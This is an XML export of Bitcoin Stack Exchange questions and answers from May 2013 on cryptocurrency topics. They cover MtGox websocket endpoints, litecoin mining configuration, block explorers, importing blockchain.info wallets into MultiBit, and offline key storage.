  <row Id="10625" PostTypeId="1" AcceptedAnswerId="10643" CreationDate="2013-05-06T11:55:51.333" Score="3" ViewCount="976" Body="&lt;p&gt;I'm trying to find out what the difference is between &lt;code&gt;websocket.mtgox.com&lt;/code&gt; and &lt;code&gt;socketio.mtgox.com&lt;/code&gt; for the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming&quot; rel=&quot;nofollow&quot;&gt;MtGox streaming API&lt;/a&gt;. Looking at the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming#Connecting&quot; rel=&quot;nofollow&quot;&gt;Connecting section&lt;/a&gt; it looks like there are several combinations to be used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;websocket.mtgox.com/mtgox&#xA;socketio.mtgox.com/mtgox&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;both with &lt;em&gt;http&lt;/em&gt; or &lt;em&gt;https.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see, there is no mention that they are different, however, I know from trying out things myself that they do behave differently. I've also seen in forums that other people have similar questions/problems as I have related to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what the differences are? Also are these differences expected and documented somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, the code snippet uses https as the protocol. Excuse my ignorance, but shouldn't we use &lt;em&gt;ws&lt;/em&gt; or &lt;em&gt;wss&lt;/em&gt; instead of &lt;em&gt;http&lt;/em&gt; and &lt;em&gt;https&lt;/em&gt;? Can someone explain that difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any information related to my questions!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;UPDATE:&lt;/b&gt;&#xA;Actually, it looks like the &lt;a href=&quot;http://en.wikipedia.org/wiki/WebSocket#URI_scheme&quot; rel=&quot;nofollow&quot;&gt;URI scheme for websockets&lt;/a&gt; should be ws: or wss: and not like in the example http: or https:. Maybe this is a typo in the example or what's the deal for MtGox?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;UPDATE:&lt;/b&gt;&#xA;So &lt;a href=&quot;https://gist.github.com/murrekatt/5526153&quot; rel=&quot;nofollow&quot;&gt;testing things in the browser&lt;/a&gt;, &lt;code&gt;{ws,wss,http,https}://socketio.mtgox.com/mtgox&lt;/code&gt; all work and I don't see any difference. On the other hand, &lt;code&gt;{ws,wss,http,https}://websocket.mtgox.com/mtgox&lt;/code&gt; all result in HTTP 400 Bad Request. Looking in the browser console I got the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XMLHttpRequest cannot load http://websocket.mtgox.com/socket.io/1/?t=1367857246057. Origin null is not allowed by Access-Control-Allow-Origin.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what might be going on?&lt;/p&gt;&#xA;" OwnerUserId="3356" LastEditorUserId="3356" LastEditDate="2013-05-06T16:23:34.343" LastActivityDate="2013-06-06T18:48:01.337" Title="What's the difference between MtGox streaming API hosts?" Tags="|mtgox|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10626" PostTypeId="1" AcceptedAnswerId="10627" CreationDate="2013-05-06T11:56:34.823" Score="1" ViewCount="73" Body="&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1drslh/082_will_not_eliminate_microtransactions/&quot; rel=&quot;nofollow&quot;&gt;There seem to be a few interesting changes in this version&lt;/a&gt;, possibly affecting the protocol itself (de facto).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find the most relevant, concise yet detailed information about this version?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-05-06T14:43:51.367" Title="Where is the best information about the contents of bitcoind 0.8.2?" Tags="|bitcoind|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10627" PostTypeId="2" ParentId="10626" CreationDate="2013-05-06T12:24:15.227" Score="2" Body="&lt;p&gt;The 0.8.2 makes &lt;strong&gt;no changes to the protocol&lt;/strong&gt;, to make that sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The official information on the change that everyone is talking about is &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2577&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this pull request&lt;/strong&gt;&lt;/a&gt; on GitHub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find some people trying to make conclusions about the effects of the change on BitcoinTalk and Reddit. Keep in mind that they are not official representatives of the developer team and that they often proclaim incorrect information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only correct statement is the one in the pull request. Probably there will be some release notes as well as soon as the update gets pushed.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-05-06T14:43:51.367" LastActivityDate="2013-05-06T14:43:51.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10628" PostTypeId="2" ParentId="10619" CreationDate="2013-05-06T12:54:20.940" Score="3" Body="&lt;p&gt;No suitable long-poll found means that your bfgminer could not find a server that will inform it of a new block appearing on the network. This is correct, since you are solo mining, and litecoin-qt doesn't supply this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't worry, your setup is correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not having LP only means that your miner will get informed a little bit slower by litecoin-qt about a new block a little later, and potentially doing work on a block that has just been solved for a few seconds at most.&lt;/p&gt;&#xA;" OwnerUserId="3185" LastActivityDate="2013-05-06T12:54:20.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10629" PostTypeId="2" ParentId="1764" CreationDate="2013-05-06T13:08:48.503" Score="1" Body="&lt;p&gt;If you are selling a digital product you can use &lt;a href=&quot;http://instabuck.com/&quot; rel=&quot;nofollow&quot;&gt;http://instabuck.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4855" LastActivityDate="2013-05-06T13:08:48.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10630" PostTypeId="2" ParentId="10622" CreationDate="2013-05-06T13:21:23.913" Score="5" Body="&lt;p&gt;Litecoin Block Explorer: &lt;a href=&quot;http://explorer.litecoin.net/&quot;&gt;http://explorer.litecoin.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feathercoin Block Explorer: &lt;a href=&quot;http://ftc.cryptocoinexplorer.com/&quot;&gt;http://ftc.cryptocoinexplorer.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find all the &quot;lesser&quot; Altcoins on &lt;a href=&quot;http://cryptocoinexplorer.com&quot;&gt;http://cryptocoinexplorer.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4638" LastActivityDate="2013-05-06T13:21:23.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10631" PostTypeId="2" ParentId="10570" CreationDate="2013-05-06T14:12:22.870" Score="3" Body="&lt;p&gt;You can try &lt;a href=&quot;http://p2pool.info/&quot; rel=&quot;nofollow&quot;&gt;http://p2pool.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And P2Pool.info does not keep fees, they redistribute it ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general you don't have to subscribe to P2P Pool (just search for &quot;p2p bitcoin pool&quot;).&lt;/p&gt;&#xA;" OwnerUserId="3819" LastActivityDate="2013-05-06T14:12:22.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10632" PostTypeId="2" ParentId="10609" CreationDate="2013-05-06T14:30:25.620" Score="2" Body="&lt;p&gt;Error -4 means that you've already added that private key. It might take a while to import because it's rescanning the whole blockchain for transactions involving that address.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-05-06T14:30:25.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10633" PostTypeId="2" ParentId="8486" CreationDate="2013-05-06T16:06:40.960" Score="1" Body="&lt;p&gt;I think the case of mining as part of a pool is, in reality a very special case of providing a cloud based server farm service.   Essentially, those operating such a server farm are having its use contracted to the pool for an hourly (or shift) fee.   The fact that the payment for the service is done in bitcoin does not make the server farm operator a miner, nor do they actually create any currency.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even the pool itself is not creating a real currency, instead they are creating (or locating) a commodity which other people believe has a particular value.  This is no different than pumping oil out of the ground or mining for silver or gold.  No one would claim that a gold or silver miner or a farmer selling their crops is actually an MSB when they take their product to market would they? No, they are simply selling their commodity at the market price.  What difference does it make whether they use a drill, a tractor or a computer to prepare the commodity for the market?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, it will be interesting to see what happens if/when any of the assumptions here are challenged in a court case.  My supposition is that it will first happen with a true criminal enterprise (drugs or gangs for instance) since that will blur the distinctions and allow the case to set a supposed precedent and cause more confusion which is the best way to discourage general use by the under-educated majority.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FMI on bitcoins as a commodity : &lt;a href=&quot;http://blog.bitcointitan.com/post/17789738826/what-u-s-regulations-apply-to-bitcoins-as-commodities&quot; rel=&quot;nofollow&quot;&gt;http://blog.bitcointitan.com/post/17789738826/what-u-s-regulations-apply-to-bitcoins-as-commodities&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4724" LastEditorUserId="4724" LastEditDate="2013-05-06T19:39:47.340" LastActivityDate="2013-05-06T19:39:47.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10634" PostTypeId="2" ParentId="1764" CreationDate="2013-05-06T17:03:26.163" Score="0" Body="&lt;p&gt;Most popular is &#xA;&lt;a href=&quot;http://www.bitmit.com&quot; rel=&quot;nofollow&quot;&gt;BitMit.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also check the complete list at &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Auction_sites&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4860" LastActivityDate="2013-05-06T17:03:26.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10635" PostTypeId="1" CreationDate="2013-05-06T17:08:22.057" Score="2" ViewCount="301" Body="&lt;p&gt;Does anyone know what is required to establish an exchange that accepts Guyana $ as payment for Bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="4861" LastActivityDate="2017-12-05T10:26:34.943" Title="Buying Bitcoins using Guyana Dollars" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10637" PostTypeId="2" ParentId="7573" CreationDate="2013-05-06T17:17:17.140" Score="2" Body="&lt;p&gt;You can check Ripple (XRP) market chart at &lt;a href=&quot;http://bitcoincharts.com/markets/rippleXRP.html&quot; rel=&quot;nofollow&quot;&gt;Bitcoincharts.com/market/Ripple&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4860" LastActivityDate="2013-05-06T17:17:17.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10639" PostTypeId="1" CreationDate="2013-05-06T17:36:26.907" Score="2" ViewCount="1343" Body="&lt;p&gt;This is purely an experiment for fun. This is for litecoins but can bitcoin people help me too :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using litecoinqt to solo cpu mine, on my windows machine. Threads set between 4 and 10, scantime of 99.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main computer has 4 cpu cores. But I am noticing the same speed as when I use my laptop which has only one cpu core. This makes me think I am not using all the cores on my main computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to force the miner to use more cores?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3151" LastActivityDate="2013-05-06T18:51:01.403" Title="How to utilise more cores when I am cpu mining?" Tags="|bitcoin-core|litecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10640" PostTypeId="2" ParentId="10639" CreationDate="2013-05-06T18:51:01.403" Score="1" Body="&lt;p&gt;I don't really know about Litecoin-Qt but for a better result and to configure correctly the numer of threads I recommend you to use a software dedicated to LTC mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://github.com/pooler/cpuminer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pooler/cpuminer&lt;/a&gt; for only CPU and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=150331.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=150331.0&lt;/a&gt; for GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must have a pool but you can solo mine with the arg '-server' when launchin litecoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's more difficult than just use the LiteCoin-Qt miner but it is also more configurable and more efficient.&lt;/p&gt;&#xA;" OwnerUserId="3819" LastActivityDate="2013-05-06T18:51:01.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10641" PostTypeId="2" ParentId="129" CreationDate="2013-05-06T20:18:35.047" Score="1" Body="&lt;p&gt;Don't forget &lt;a href=&quot;http://www.cryptocoincharts.info/&quot; rel=&quot;nofollow&quot;&gt;http://www.cryptocoincharts.info/&lt;/a&gt; which has charts for LTC, PPC, DVC, NMC, IXC, LQC, and SC in a nice clean interface. &lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-05-06T20:18:35.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10642" PostTypeId="2" ParentId="10536" CreationDate="2013-05-06T20:30:17.957" Score="2" Body="&lt;p&gt;To answer your questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;This error is common, and i usually fixed after the first cronjob / first submitted share.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This error is also common, as you have not set a difficulty in the &lt;code&gt;server.json&lt;/code&gt; file.&#xA;See this line here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;#rewrite returned 'target' to difficulty-1? &#xA;&quot;rpc.target.rewrite&quot; : true,&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This tells the pushpoold that, if there's no difficulty set, then set it to -1, which is infinite, meaning you will NEVER find a share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add parameter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;rpc.target.bits&quot; : 17&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To the RPC setting section of &lt;code&gt;server.json&lt;/code&gt;. You can change the value however you like. The higher it is, the more frequently you'll find a share. The lower it is, the hard it is to find one. This doesn't impact the ammount of LTC found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using mmcFE, be sure to edit that value in the configuration file of mmcFE.&lt;/p&gt;&#xA;" OwnerUserId="4867" LastEditorUserId="196" LastEditDate="2013-05-06T21:26:22.763" LastActivityDate="2013-05-06T21:26:22.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10643" PostTypeId="2" ParentId="10625" CreationDate="2013-05-06T20:36:05.417" Score="1" Body="&lt;p&gt;OK, so after playing around with this for a while in the browser I have found out a few things that probably were somewhat obvious. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even if there is no mention that &lt;code&gt;websocket.mtgox.com&lt;/code&gt; is different from &lt;code&gt;socketio.mtgox.com&lt;/code&gt; it really is, and the difference is that the former is a real WebSocket endpoint while the latter is a Socket.IO endpoint. Of course not very surprising looking at the names ;) Now for a beginner like me that wasn't completely obvious as I assumed Socket.IO could speak WebSocket and thus the endpoints were the same. Hence, this question. This was no the case here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Socket.IO endpoint accepts all URI schemes {http, https, ws, wss} while the real WebSocket endpoint only accepts the expected {ws, wss}. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I have all combinations working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://socketio.mtgox.com/mtgox&#xA;https://socketio.mtgox.com/mtgox&#xA;ws://socketio.mtgox.com/mtgox&#xA;wss://socketio.mtgox.com/mtgox&#xA;&#xA;ws://websocket.mtgox.com/mtgox&#xA;wss://websocket.mtgox.com/mtgox&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's unclear it the http and https URI schemes are at all meaningful or if they just happen to work. Probably just that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, there are two hosts: one for Socket.IO and one for WebSocket and both work with or without TLS.&lt;/p&gt;&#xA;" OwnerUserId="3356" LastEditorUserId="196" LastEditDate="2013-05-06T21:26:51.530" LastActivityDate="2013-05-06T21:26:51.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10644" PostTypeId="1" CreationDate="2013-05-06T23:32:52.540" Score="5" ViewCount="4507" Body="&lt;p&gt;I am having trouble finding litecoin mining specifications. I would first of all require something like this:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except for litecoins. I need to know how to dissect the &lt;code&gt;getwork&lt;/code&gt; data, what kind of operations to do on it (eg. hex to uint32 conversions, byte order shifts, etc.) and what specification of scrypt to use and what are its input, difficulty and expected output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really love to have some input/output data, on which I can write BDD specifications so I can write a miner on top of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know for some good resources I could use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I would really appreciate some sample input/output, I can figure out the rest myself.&lt;/p&gt;&#xA;" OwnerUserId="4870" LastEditorUserId="5406" LastEditDate="2016-04-01T09:14:35.500" LastActivityDate="2016-04-01T09:14:35.500" Title="What is the difference in hashing algorithm between bitcoin and litecoin?" Tags="|litecoin|proof-of-work|mining-technical-details|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10645" PostTypeId="1" CreationDate="2013-05-07T00:22:45.090" Score="4" ViewCount="682" Body="&lt;p&gt;If there are tools such as BitcoinSharp, to allow me to code up functionality such as a bitcoin wallet, how do i do the same for other coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As alot of the newer curruencies are based of litecoin, is it just network settings that change between each wallet type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, What makes a BTC wallet different to a LTC wallet?&lt;/p&gt;&#xA;" OwnerUserId="4872" LastActivityDate="2014-01-15T18:06:21.580" Title="How does BTC, LTC, TRC ,etc Wallet implementations differ?" Tags="|wallet|network|litecoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10646" PostTypeId="2" ParentId="10644" CreationDate="2013-05-07T02:43:20.720" Score="1" Body="&lt;p&gt;The algorithm is basically the same, just exchange SHA256 with &lt;a href=&quot;http://www.tarsnap.com/scrypt.html&quot; rel=&quot;nofollow&quot;&gt;http://www.tarsnap.com/scrypt.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4638" LastActivityDate="2013-05-07T02:43:20.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10647" PostTypeId="1" AcceptedAnswerId="10651" CreationDate="2013-05-07T03:44:24.513" Score="-1" ViewCount="693" Body="&lt;p&gt;Total number of bitcoins that will ever exist are 21 million and are deflated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripples are pre-mined 100 billion. Would hoarding 30000 XRP now will get me a profit in the future from a speculation point of view? Also, I heard, XRP will be destroyed in each transaction.&lt;/p&gt;&#xA;" OwnerUserId="439" LastActivityDate="2013-05-10T10:47:07.183" Title="Does it make sense to hoard on ripples like bitcoins?" Tags="|ripple|speculation|" AnswerCount="1" CommentCount="2" ClosedDate="2013-05-10T12:01:54.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="10648" PostTypeId="1" AcceptedAnswerId="10654" CreationDate="2013-05-07T05:53:38.020" Score="3" ViewCount="435" Body="&lt;p&gt;If I want to store a substantial number of Bitcoins, would there be any add security or safety to doing this in multiple blockchain.info hybrid ewallets, in stead of all in one?&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-05-07T13:31:22.723" Title="added security/safety to multiple blockchain.info wallets" Tags="|blockchain.info|e-wallet|hybrid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10649" PostTypeId="2" ParentId="10428" CreationDate="2013-05-07T05:56:33.513" Score="1" Body="&lt;p&gt;It seems that the client should send the Origin header in opening handshake to the MtGox server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use current websocket-sharp, you should do like the following before connecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;ws.Origin = &quot;&lt;a href=&quot;http://websocket.mtgox.com&quot; rel=&quot;nofollow&quot;&gt;http://websocket.mtgox.com&lt;/a&gt;&quot;;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you try again the following code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static void Main(string[] args)&#xA;{&#xA;    var ws = new WebSocket(&quot;ws://websocket.mtgox.com/mtgox?Currency=USD&quot;);&#xA;    ws.Origin = &quot;http://websocket.mtgox.com&quot;;&#xA;    ws.OnOpen += (sender, e) =&amp;gt;&#xA;    {&#xA;      ws.Send(&#xA;@&quot;{&#xA;    &quot;&quot;op&quot;&quot;: &quot;&quot;unsubscribe&quot;&quot;,&#xA;    &quot;&quot;channel&quot;&quot;: &quot;&quot;d5f06780-30a8-4a48-a2f8-7ed181b4a13f&quot;&quot;&#xA;}&quot;&#xA;      );&#xA;    };&#xA;    ws.OnMessage += (sender, e) =&amp;gt;&#xA;    {&#xA;        if (!String.IsNullOrEmpty(e.Data))&#xA;        {&#xA;            Console.WriteLine(&quot;{0}&quot;, e.Data);&#xA;        }&#xA;    };&#xA;    ws.Connect();&#xA;    Console.ReadLine();&#xA;    ws.Close();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that an exception has occurred when the client is receiving ticker type data in a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll investigate a little further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found out the cause of the exception, and fixed websocket-sharp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you try your code with current websocket-sharp?&lt;/p&gt;&#xA;" OwnerUserId="4876" LastEditorUserId="4876" LastEditDate="2013-05-13T17:24:50.597" LastActivityDate="2013-05-13T17:24:50.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10650" PostTypeId="1" CreationDate="2013-05-07T06:43:24.070" Score="2" ViewCount="5552" Body="&lt;p&gt;I have a single password and a yubikey on my account at blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to import the &lt;code&gt;wallet.aes.json&lt;/code&gt; file nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I select the import file, MultiBit never displays the 'Number of Keys' or 'Replay date', so I put in my password and click &quot;Unlock&quot; then click &quot;Import Private Keys&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin addresses in my account never show up on either in the send or request tabs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried importing the unencrypted base58 json file from blockchain.info and it too has the same behavior (save entering my password).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Could you please point out how to export my wallet from blockchain.info to MultiBit?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1169" LastEditorUserId="5406" LastEditDate="2016-02-15T12:24:24.697" LastActivityDate="2016-02-15T12:24:24.697" Title="How do I import to MultiBit from Blockchain.info?" Tags="|blockchain.info|multibit|import|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10651" PostTypeId="2" ParentId="10647" CreationDate="2013-05-07T07:12:46.523" Score="1" Body="&lt;p&gt;If something is both useful and scarce then it'll be worth something and a market for it will emerge. Ripples are more scarce than bitcoins (absolute numbers dont matter while quantity of bitcoins continues to grow, quantity of XRPs is basically constant). The question is: how fast will ripples' usefulness grow ? Since ripples serve a lot of indispensable roles within the Ripple network AND are the ONLY asset in that network with no counterparty risk, I believe they will be very very useful and will therefore appreciate a lot.&lt;/p&gt;&#xA;" OwnerUserId="1380" LastEditorUserId="1380" LastEditDate="2013-05-09T04:20:45.307" LastActivityDate="2013-05-09T04:20:45.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10652" PostTypeId="2" ParentId="10650" CreationDate="2013-05-07T07:37:06.353" Score="2" Body="&lt;p&gt;Step one : Update your Multibit, normally since 0.3.4 it can import Blockchain.info&#xA;&lt;a href=&quot;https://groups.google.com/forum/?fromgroups=#!topic/bitcoin-multibit/G87Y3e1-0Ak&quot; rel=&quot;nofollow&quot;&gt;https://groups.google.com/forum/?fromgroups=#!topic/bitcoin-multibit/G87Y3e1-0Ak&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, if it's not working you can try this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Import/Export in Blockchain.info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now &quot;Export Unencrypted&quot;, change Base58 by Bitcoin-Qt format and take the key after &quot;priv&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to Multibit and EXPORT (yes export) your wallet WITHOUT password.&#xA;Edit the file exported and you'll see several lines with ADDRESS (whitespace) DATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace address with the blockchain's address. Change the date by the date you created the account (or a few time ago).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now save and import this file in Multibit, et voilà !&lt;/p&gt;&#xA;" OwnerUserId="3819" LastActivityDate="2013-05-07T07:37:06.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10654" PostTypeId="2" ParentId="10648" CreationDate="2013-05-07T08:16:21.710" Score="4" Body="&lt;p&gt;For large numbers of coins, software wallets (online or desktop), no matter how well designed, are not safe. Online clients aren't safe because the ones that are encrypted your side (like blockchain) might somewhat be susceptible to man-in-the-middle attacks. As Lohoris mentioned, Blockchain uses js verification with Github, requiring both websites to be compromised - of which there is a slim chance. Standard desktop clients are inherently not safe either, not when you're storing thousands of $/£ in coins. Even with all the safeguards in place, the absolute safest storage method is to keep the keys offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would be much better off generating a large number of keys using an offline computer and storing them on encrypted flash drives in safe locations. This is what the biggest known BTC hoarders (Winklevoss) do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then add the addresses without the keys to Blockchain for easy monitoring and zero risk. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2013-05-07T13:31:22.723" LastActivityDate="2013-05-07T13:31:22.723" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10655" PostTypeId="1" CreationDate="2013-05-07T08:17:19.257" Score="1" ViewCount="343" Body="&lt;p&gt;I have a question.&#xA;Right no I'm running litecoind + pushpoold + mmcFE (as the front-end), it's a smal sized pool with peaks at around 3000kh/s so far, but we're growing rapidly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, some users are getting a LOT of invalid/stale shares. People have been saying their miner can stop for a while, and start subimitting only stales for a couple of minutes, then it goes back to submitting valid ones. Me myself only gets around 10% which seems fair while using getwork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now to the question:&lt;/strong&gt;&#xA;Is it difficult to switch from pushpoold to say... poolserverJ? I heard it's preferred since it uses GBT (getblocktemplate). This would decrease the amount of work our server does, whilst eliminating invalid shares.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Are the shares saved if we switch back-end? (We haven't found a block yet, we're up to a total of about 200k shares so far)&lt;/li&gt;&#xA;&lt;li&gt;Will our users notice any difference on their end?&lt;/li&gt;&#xA;&lt;li&gt;Is poolserverJ compatible with mmcFE for litecoin?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Some help would be awesome!&lt;/p&gt;&#xA;" OwnerUserId="4867" LastActivityDate="2013-05-07T08:17:19.257" Title="Switching from pushpool?" Tags="|litecoin|server|pushpool|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T17:34:20.127" ContentLicense="CC BY-SA 3.0" />
